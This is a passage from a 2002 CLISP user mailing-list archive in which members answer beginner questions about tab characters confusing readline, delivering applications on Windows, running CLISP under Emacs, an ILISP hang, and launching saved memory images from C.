lisp process: (defun find-region (x) "Return an region (as an object). X is either the ID of a region or the region-object itself, in which latter case this function returns it unmodified." (when x (if (symbolp x) (let ((region (gethash x (regions *world*)))) (assert region (region) "Not an existing region: ~S" region) region) (progn (assert (typep 'region) (region) "Start/destionation of a passage must be a region or a symbol: ~S" x) x)))) And then I get this error message, which is totally incomprehensible for me: ,---- | [13]> | Display all 1259 possibilities? (y or n) | | *** - READ von #>: Eine Package mit dem Namen "SYMBOL" gibt es nicht. | 1. Break [14]> `---- [The German text translates to: A package with the name "SYMBOL" does not exist.] As I see know this does happen, when I start CLISP in a shell and enter this `defun' at the prompt, too. Am I missing something? Is this a known issue? BTW, is this the right place to ask newbie-ish questions about CLISP? -- Oliver -- 27 Thermidor an 210 de la Révolution Liberté, Egalité, Fraternité! From bley@wh2-19.st.uni-magdeburg.de Tue Aug 13 16:08:35 2002 Received: from wh2-19.st.uni-magdeburg.de ([141.44.162.19]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ekm8-0005kR-00 for ; Tue, 13 Aug 2002 16:08:32 -0700 Received: by wh2-19.st.uni-magdeburg.de (Postfix, from userid 1000) id 2A6D990F79; Wed, 14 Aug 2002 01:08:25 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15705.37223.994533.704876@wh2-19.st.uni-magdeburg.de> From: "Claudio Bley" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP printing hundreds of symbol-names Newsgroups: gmane.lisp.clisp.general In-Reply-To: References: X-Mailer: VM 7.07 under Emacs 21.2.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 13 16:09:08 2002 X-Original-Date: Wed, 14 Aug 2002 01:08:23 +0200 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 >>>>> "os" == Oliver Scholz writes: os> Hello! I have just started to learn Common Lisp. Sometimes os> CLISP reacts in a way that i can not explain to myself. I am os> using: GNU CLISP 2.28 (released 2002-03-03) together with the os> lisp-mode of GNU Emacs 21.2. The value of os> `inferior-lisp-program' is "clisp -q -L deutsch". os> In some (sic!) cases when I send a function to the os> inferior-lisp process, CLISP suddenly starts print hundreds of os> symbol-names. As it seems the printing becomes slower the more os> often this happens. This happens because you're sending CLISP tab characters. Use the -I switch to prevent CLISP from interpreting tabs when you're using lisp-mode in Emacs. os> ,---- | [13]> | Display all 1259 possibilities? (y or n) | | os> *** - READ von # *TERMINAL-IO*>>: Eine Package mit dem Namen "SYMBOL" gibt es os> nicht. | 1. Break [14]> `---- os> [The German text translates to: A package with the name os> "SYMBOL" does not exist.] os> As I see know this does happen, when I start CLISP in a shell os> and enter this `defun' at the prompt, too. It works (for me) when I strip the leading tab characters (or when using the -I switch). os> BTW, is this the right place to ask newbie-ish questions about os> CLISP? Yeah, I think it is. Claudio -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) Comment: Processed by Mailcrypt 3.5.6 iD8DBQE9WZFnTpSishmp0ioRAi2TAJ466wDC+wpkP20f5S6vdOl0q6MU2gCdEwnM HmtQ8LRlCYwVu/QpyN3TwbA= =EiA0 -----END PGP SIGNATURE----- From samuel.steingold@verizon.net Tue Aug 13 16:11:31 2002 Received: from h013.c001.snv.cp.net ([209.228.32.127] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ekp0-0000U3-00 for ; Tue, 13 Aug 2002 16:11:30 -0700 Received: (cpmta 17596 invoked from network); 13 Aug 2002 16:11:24 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.127) with SMTP; 13 Aug 2002 16:11:24 -0700 X-Sent: 13 Aug 2002 23:11:24 GMT To: Oliver Scholz Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP printing hundreds of symbol-names References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 13 16:12:04 2002 X-Original-Date: 13 Aug 2002 19:11:23 -0400 > * In message > * On the subject of "[clisp-list] CLISP printing hundreds of symbol-names" > * Sent on Wed, 14 Aug 2002 01:42:44 +0200 > * Honorable Oliver Scholz writes: > > ,---- > | [13]> > | Display all 1259 possibilities? (y or n) > | > | *** - READ von #>: Eine Package mit dem Namen "SYMBOL" gibt es nicht. > | 1. Break [14]> > `---- your source code contains "^I" control characters, AKA TAB. this confuses readline which is used by CLISP for input. TABs are anachronistic. do not use them. RTFM: FAQ: -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux char*a="char*a=%c%s%c;main(){printf(a,34,a,34);}";main(){printf(a,34,a,34);} From gaohuaiyan@yahoo.co.uk Wed Aug 14 00:57:47 2002 Received: from web21004.mail.yahoo.com ([216.136.227.58]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17et2J-0007ms-00 for ; Wed, 14 Aug 2002 00:57:47 -0700 Message-ID: <20020814075747.42531.qmail@web21004.mail.yahoo.com> Received: from [146.227.0.251] by web21004.mail.yahoo.com via HTTP; Wed, 14 Aug 2002 08:57:47 BST From: =?iso-8859-1?q?Huaiyan=20Gao?= To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-1326599983-1029311867=:42273" Content-Transfer-Encoding: 8bit Subject: [clisp-list] ask for distributing application Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 14 00:58:03 2002 X-Original-Date: Wed, 14 Aug 2002 08:57:47 +0100 (BST) --0-1326599983-1029311867=:42273 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Hi, CLISP huggers, I have completed some lisp applications which can really help me do my work, now I want to develop a user interface through which I can call my lisp functions to do my work, but I am not sure if I can finish my ideas. If somebody knows how to distribute lisp application and how to develop user interface for clisp, would you please give me some advices? My environment is windows 2000, CLISP-2.28-win32. Thanks. Huaiyan Gao --------------------------------- Get a bigger mailbox -- choose a size that fits your needs. http://uk.docs.yahoo.com/mail_storage.html --0-1326599983-1029311867=:42273 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit

Hi, CLISP huggers,

I have completed some lisp applications which can really help me do my work, now I want to develop a user interface through which I can call my lisp functions to do my work, but I am not sure if I can finish my ideas. If somebody knows how to distribute lisp application and how to develop user interface for clisp, would you please give me some advices? My environment is windows 2000, CLISP-2.28-win32.

Thanks.

Huaiyan Gao 



Get a bigger mailbox -- choose a size that fits your needs.

http://uk.docs.yahoo.com/mail_storage.html --0-1326599983-1029311867=:42273-- From lisp-clisp-list@m.gmane.org Wed Aug 14 02:21:19 2002 Received: from main.gmane.org ([80.91.224.249]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17euL7-0003sf-00 for ; Wed, 14 Aug 2002 02:21:17 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17euK4-0002Sz-00 for ; Wed, 14 Aug 2002 11:20:12 +0200 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17eu2R-0001m2-00 for ; Wed, 14 Aug 2002 11:01:59 +0200 Path: not-for-mail From: Nils Kassube Newsgroups: gmane.lisp.clisp.general Organization: Lazy Evaluation Inc. Lines: 11 Message-ID: <81ptwlu825.fsf@darwin.lan.kassube.de> References: <20020814075747.42531.qmail@web21004.mail.yahoo.com> NNTP-Posting-Host: p3ee02f01.dip.t-dialin.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Trace: main.gmane.org 1029315719 6821 62.224.47.1 (14 Aug 2002 09:01:59 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Wed, 14 Aug 2002 09:01:59 +0000 (UTC) User-Agent: Gnus/5.090008 (Oort Gnus v0.08) XEmacs/21.4 (Honest Recruiter (Windows [3]), i686-pc-cygwin) Hamster/1.3.23.4 (Windows [3]), i686-pc-cygwin) Cancel-Lock: sha1:MkGouc9H31/Clx2rRnRFSn9p3qc= Subject: [clisp-list] Re: ask for distributing application Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 14 02:22:06 2002 X-Original-Date: Wed, 14 Aug 2002 11:02:42 +0200 Huaiyan Gao writes: > If somebody knows how to distribute lisp application http://clisp.cons.org/impnotes.html#app-dev For non-commercial use or if you can afford $100 (full-time students) or $200 (everyone else) for a commercial Common Lisp compiler, you can use Corman Lisp to build a delivery executable. http://www.cormanlisp.com/ From gaohuaiyan@yahoo.co.uk Wed Aug 14 04:21:22 2002 Received: from web21005.mail.yahoo.com ([216.136.227.59]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ewDJ-0000zr-00 for ; Wed, 14 Aug 2002 04:21:21 -0700 Message-ID: <20020814112121.39035.qmail@web21005.mail.yahoo.com> Received: from [146.227.71.41] by web21005.mail.yahoo.com via HTTP; Wed, 14 Aug 2002 12:21:21 BST From: =?iso-8859-1?q?Huaiyan=20Gao?= To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-1845958613-1029324081=:38235" Content-Transfer-Encoding: 8bit Subject: [clisp-list] whether the clisp-2.28-win32 can be run in GNU emacs? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 14 04:22:05 2002 X-Original-Date: Wed, 14 Aug 2002 12:21:21 +0100 (BST) --0-1845958613-1029324081=:38235 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Hi, Who know whether the clisp (for windows) can be run in the GNU emacs and how to do it if possibilly? Thanks. --------------------------------- Get a bigger mailbox -- choose a size that fits your needs. http://uk.docs.yahoo.com/mail_storage.html --0-1845958613-1029324081=:38235 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit

Hi,

Who know whether the clisp (for windows) can be run in the GNU emacs and how to do it if possibilly?

Thanks.



Get a bigger mailbox -- choose a size that fits your needs.

http://uk.docs.yahoo.com/mail_storage.html --0-1845958613-1029324081=:38235-- From lisp-clisp-list@m.gmane.org Wed Aug 14 04:48:11 2002 Received: from main.gmane.org ([80.91.224.249]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ewdF-0007im-00 for ; Wed, 14 Aug 2002 04:48:09 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17ewcB-0007rR-00 for ; Wed, 14 Aug 2002 13:47:03 +0200 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17ewcB-0007rJ-00 for ; Wed, 14 Aug 2002 13:47:03 +0200 Path: not-for-mail From: Nils Kassube Newsgroups: gmane.lisp.clisp.general Organization: Lazy Evaluation Inc. Lines: 8 Message-ID: <81hehxu0f7.fsf@darwin.lan.kassube.de> References: <20020814112121.39035.qmail@web21005.mail.yahoo.com> NNTP-Posting-Host: p3ee02d7b.dip.t-dialin.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Trace: main.gmane.org 1029325623 30209 62.224.45.123 (14 Aug 2002 11:47:03 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Wed, 14 Aug 2002 11:47:03 +0000 (UTC) User-Agent: Gnus/5.090008 (Oort Gnus v0.08) XEmacs/21.4 (Honest Recruiter (Windows [3]), i686-pc-cygwin) Hamster/1.3.23.4 (Windows [3]), i686-pc-cygwin) Cancel-Lock: sha1:hud+2fy3t5kPfmTLjaqencuiovU= Subject: [clisp-list] Re: whether the clisp-2.28-win32 can be run in GNU emacs? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 14 04:49:03 2002 X-Original-Date: Wed, 14 Aug 2002 13:47:40 +0200 Huaiyan Gao writes: > Who know whether the clisp (for windows) can be run in the GNU emacs > and how to do it if possibilly? Yes. http://cl-cookbook.sourceforge.net/windows.html From lisp-clisp-list@m.gmane.org Wed Aug 14 04:54:33 2002 Received: from main.gmane.org ([80.91.224.249]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ewjP-0008C6-00 for ; Wed, 14 Aug 2002 04:54:32 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17ewiP-00084x-00 for ; Wed, 14 Aug 2002 13:53:29 +0200 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17ewiP-00084p-00 for ; Wed, 14 Aug 2002 13:53:29 +0200 Path: hermes!nobody From: Oliver Scholz Newsgroups: gmane.lisp.clisp.general Organization: Olymp Lines: 21 Message-ID: References: NNTP-Posting-Host: dialin-145-254-196-031.arcor-ip.net Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Trace: main.gmane.org 1029326009 31041 145.254.196.31 (14 Aug 2002 11:53:29 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Wed, 14 Aug 2002 11:53:29 +0000 (UTC) X-Operating-System: Linux from Scratch X-Attribution: os X-Face: "HgH2sgK|bfH$;PiOJI6|qUCf.ve<51_Od(%ynHr?=>znn#~#oS>",F%B8&\vus),2AsPYb -n>PgddtGEn}s7kH?7kH{P_~vu?]OvVN^qD(L)>G^gDCl(U9n{:d>'DkilN!_K"eNzjrtI4Ya6;Td% IZGMbJ{lawG+'J>QXPZD&TwWU@^~A}f^zAb[Ru;CT(UA]c& User-Agent: Gnus/5.090007 (Oort Gnus v0.07) Emacs/21.2 (i686-pc-linux-gnu) Cancel-Lock: sha1:Xx0j3ouq7i7rxnFWx1upU0BD/W4= Subject: [clisp-list] Re: CLISP printing hundreds of symbol-names Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 14 04:55:02 2002 X-Original-Date: Wed, 14 Aug 2002 14:43:13 +0200 Sam Steingold writes: [...] > your source code contains "^I" control characters, AKA TAB. > this confuses readline which is used by CLISP for input. [...] Ah! I see now. This makes it pretty clear. Thank you very much. > RTFM: [...] My apologies that I did not read this carefully enough. I skipped this part probably because I thought, it refers to ILISP only, which I do not use. -- Oliver -- 27 Thermidor an 210 de la Révolution Liberté, Egalité, Fraternité! From amoroso@mclink.it Wed Aug 14 05:34:55 2002 Received: from net128-053.mclink.it ([195.110.128.53] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17exMT-0001NF-00 for ; Wed, 14 Aug 2002 05:34:53 -0700 Received: from net145-071.mclink.it (net145-071.mclink.it [195.110.145.71]) by mail.mclink.it (8.11.0/8.9.0) with SMTP id g7ECYll12289 for ; Wed, 14 Aug 2002 14:34:47 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ask for distributing application Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <20020814075747.42531.qmail@web21004.mail.yahoo.com> In-Reply-To: <20020814075747.42531.qmail@web21004.mail.yahoo.com> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 14 05:35:07 2002 X-Original-Date: Wed, 14 Aug 2002 14:31:00 +0200 On Wed, 14 Aug 2002 08:57:47 +0100 (BST), Huaiyan Gao wrote: > If somebody knows how to distribute lisp application and how to develop > user interface for clisp, would you please give me some advices? > My environment is windows 2000, CLISP-2.28-win32. The CLISP implementation notes, a document which comes with the CLISP distribution, explains how to run and deliver applications under different operating systems. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://www.paoloamoroso.it/ency/README From EricM@dimaxcontrols.com Wed Aug 14 06:31:29 2002 Received: from [209.167.94.98] (helo=mail.dimaxcontrols.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eyFF-0006ye-00 for ; Wed, 14 Aug 2002 06:31:29 -0700 Received: by IS~MAIL with Internet Mail Service (5.5.2653.19) id ; Wed, 14 Aug 2002 09:37:54 -0400 Message-ID: <9160B867AADDD311AE7900C04F0649BB2671B7@IS~MAIL> From: Eric Moncrieff To: "'clisp-list@lists.sf.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] Ilisp hangs with clisp... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 14 06:32:02 2002 X-Original-Date: Wed, 14 Aug 2002 09:37:53 -0400 Hello, I'm not sure if this is a clisp-specific problem, but it didn't seem to happen under other Lisps I've tried. As you're probably all aware, Ilisp normally pops up some information about the function you're calling in the minibuffer as you type. However, under the setup I'm forced to use at work (Emacs 21.2, Ilisp CVS snapshot, CLISP 2.29, M$ Windows NT4.0), when I type (defun the program becomes non-responsive for something like 30 seconds. I can C-g to kill whatever emacs thinks it's doing, but as soon as I hit again, it starts doing it again. As you can imagine, this makes writing code difficult. Any suggestions as to how to make this irritating behaviour stop? Thanks, Eric Moncrieff From eduardomf@terra.es Wed Aug 14 15:51:20 2002 Received: from [213.4.129.129] (helo=tsmtp7.mail.isp) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17f6z2-0007Sc-00 for ; Wed, 14 Aug 2002 15:51:20 -0700 Received: from emf ([213.97.133.29]) by tsmtp7.mail.isp (Netscape Messaging Server 4.15 tsmtp7 Mar 14 2002 21:29:48) with SMTP id H0UVHG00.RWD for ; Thu, 15 Aug 2002 00:51:16 +0200 Message-ID: <001d01c243e5$360f0140$03001aac@emf> From: =?iso-8859-1?Q?Eduardo_Mu=F1oz?= To: "'clisp-list@lists.sf.net'" References: <9160B867AADDD311AE7900C04F0649BB2671B7@IS~MAIL> Subject: Re: [clisp-list] Ilisp hangs with clisp... MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 14 15:52:02 2002 X-Original-Date: Thu, 15 Aug 2002 00:52:03 +0200 > As you're probably all aware, Ilisp normally pops up some > information about the function you're calling in the > minibuffer as you type. However, under the setup I'm > forced to use at work (Emacs 21.2, Ilisp CVS snapshot, > CLISP 2.29, M$ Windows NT4.0), when I type > > (defun > > the program becomes non-responsive for something like > 30 seconds. [...] The following patch seems to avoid this behaviour. ilisp-snd.el is the file edited by me and ilisp-snd.old.el is the one that comes with the ilisp-5.12.0 distribution: diff ilisp-snd.el ilisp-snd.old.el 611c611 < (sit-for 0 1 t) --- > ;; (sit-for 0) ; 19990912 Pretty useless. So edit the file ilisp-snd.el and recompile ilisp. P.S. I sent this bug report to ilisp@cons.org but haven't got any anwer yet. From marcoxa@octagon.mrl.nyu.edu Wed Aug 14 15:57:38 2002 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17f757-00083I-00 for ; Wed, 14 Aug 2002 15:57:37 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.11.6/8.9.3) id g7EMwDJ11273; Wed, 14 Aug 2002 18:58:13 -0400 Message-Id: <200208142258.g7EMwDJ11273@octagon.mrl.nyu.edu> From: Marco Antoniotti To: eduardomf@terra.es CC: clisp-list@lists.sourceforge.net In-reply-to: <001d01c243e5$360f0140$03001aac@emf> (message from =?iso-8859-1?Q?Eduardo_Mu=F1oz?= on Thu, 15 Aug 2002 00:52:03 +0200) Subject: Re: [clisp-list] Ilisp hangs with clisp... References: <9160B867AADDD311AE7900C04F0649BB2671B7@IS~MAIL> <001d01c243e5$360f0140$03001aac@emf> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 14 15:58:04 2002 X-Original-Date: Wed, 14 Aug 2002 18:58:13 -0400 > From: =?iso-8859-1?Q?Eduardo_Mu=F1oz?= > X-Priority: 3 > X-MSMail-Priority: Normal > X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 > Sender: clisp-list-admin@lists.sourceforge.net > X-Original-Date: Thu, 15 Aug 2002 00:52:03 +0200 > Date: Thu, 15 Aug 2002 00:52:03 +0200 > > > As you're probably all aware, Ilisp normally pops up some > > information about the function you're calling in the > > minibuffer as you type. However, under the setup I'm > > forced to use at work (Emacs 21.2, Ilisp CVS snapshot, > > CLISP 2.29, M$ Windows NT4.0), when I type > > > > (defun > > > > the program becomes non-responsive for something like > > 30 seconds. [...] > > The following patch seems to avoid this behaviour. > ilisp-snd.el is the file edited by me and ilisp-snd.old.el is the one that > comes with the ilisp-5.12.0 distribution: > > diff ilisp-snd.el ilisp-snd.old.el > 611c611 > < (sit-for 0 1 t) > --- > > ;; (sit-for 0) ; 19990912 Pretty useless. > > So edit the file ilisp-snd.el and recompile ilisp. > > P.S. I sent this bug report to ilisp@cons.org but haven't > got any anwer yet. Evindently the ilisp@cons.org addresses are not active. The move of the physical machine may have created problems with these addresses. Please try Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From gaohuaiyan@yahoo.co.uk Thu Aug 15 04:48:45 2002 Received: from web21004.mail.yahoo.com ([216.136.227.58]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17fJ7N-0006VJ-00 for ; Thu, 15 Aug 2002 04:48:45 -0700 Message-ID: <20020815114844.59396.qmail@web21004.mail.yahoo.com> Received: from [146.227.0.251] by web21004.mail.yahoo.com via HTTP; Thu, 15 Aug 2002 12:48:44 BST From: =?iso-8859-1?q?Huaiyan=20Gao?= To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-1739186705-1029412124=:57972" Content-Transfer-Encoding: 8bit Subject: [clisp-list] how to start the lisp memory file in C application Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 15 04:49:03 2002 X-Original-Date: Thu, 15 Aug 2002 12:48:44 +0100 (BST) --0-1739186705-1029412124=:57972 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Hi, CLISP huggers. Who knows how to execute memory image file which is distributed with clisp function "saveinitmem" in C program, I ceate a *.bat file, it can initialize my clisp memory file mylispprogram.bat like this :@echo off "C:/clisp/lisp.exe" -B "C:/clisp/" -M "C:/clisp/a.mem" %1 %2 %3 %4 %5 %6 %7 %8 %9 Now, mylispprogram.bat file can work well, but I want to design a priendly and convenient user interface so that users can call my lisp functions to do their work in the user interface. I means that how to set up a connection from C program to lisp memory file, i.e, how to start the lisp memory file in C program first step? Certainly, other lisp dialects such as lispworks, Allegro CL, they provide built-in CAPI packages through which we can develop user interface conveniently, but they are not free. So I study clisp for windows to see whether I can develop a user interface to deal with lisp calling. Thanks. HuaiYan Gao --------------------------------- Get a bigger mailbox -- choose a size that fits your needs. http://uk.docs.yahoo.com/mail_storage.html --0-1739186705-1029412124=:57972 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit

Hi, CLISP huggers.

Who knows how to execute memory image file which is distributed with clisp function "saveinitmem" in C program, I ceate a *.bat file, it can initialize my clisp memory file mylispprogram.bat like this :@echo off
"C:/clisp/lisp.exe" -B "C:/clisp/" -M "C:/clisp/a.mem" %1 %2 %3 %4 %5 %6 %7 %8 %9
Now, mylispprogram.bat file can work well, but I want to design a priendly and convenient user interface so that users can call my lisp functions to do their work in the user interface. I means that how to set up a connection from C program to lisp memory file, i.e, how to start the lisp memory file in C program first step? Certainly, other lisp dialects such as lispworks, Allegro CL, they provide built-in CAPI packages through which we can develop user interface conveniently, but they are not free. So I study clisp for windows to see whether I can develop a user interface to deal with lisp calling.

Thanks.

HuaiYan Gao



Get a bigger mailbox -- choose a size that fits your needs.

http://uk.docs.yahoo.com/mail_storage.html --0-1739186705-1029412124=:57972-- From samuel.steingold@verizon.net Thu Aug 15 06:35:19 2002 Received: from h007.c001.snv.cp.net ([209.228.32.121] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17fKmU-0006iL-00 for ; Thu, 15 Aug 2002 06:35:18 -0700 Received: (cpmta 7661 invoked from network); 15 Aug 2002 06:35:11 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.121) with SMTP; 15 Aug 2002 06:35:11 -0700 X-Sent: 15 Aug 2002 13:35:11 GMT To: Huaiyan Gao Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] how to start the lisp memory file in C application References: <20020815114844.59396.qmail@web21004.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020815114844.59396.qmail@web21004.mail.yahoo.com> Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 15 06:36:09 2002 X-Original-Date: 15 Aug 2002 09:34:56 -0400 > * In message <20020815114844.59396.qmail@web21004.mail.yahoo.com> > * On the subject of "[clisp-list] how to start the lisp memory file in C application" > * Sent on Thu, 15 Aug 2002 12:48:44 +0100 (BST) > * Honorable Huaiyan Gao writes: > > Now, mylispprogram.bat file can work well, but I want to design a > priendly and convenient user interface so that users can call my lisp > functions to do their work in the user interface. I means that how to > set up a connection from C program to lisp memory 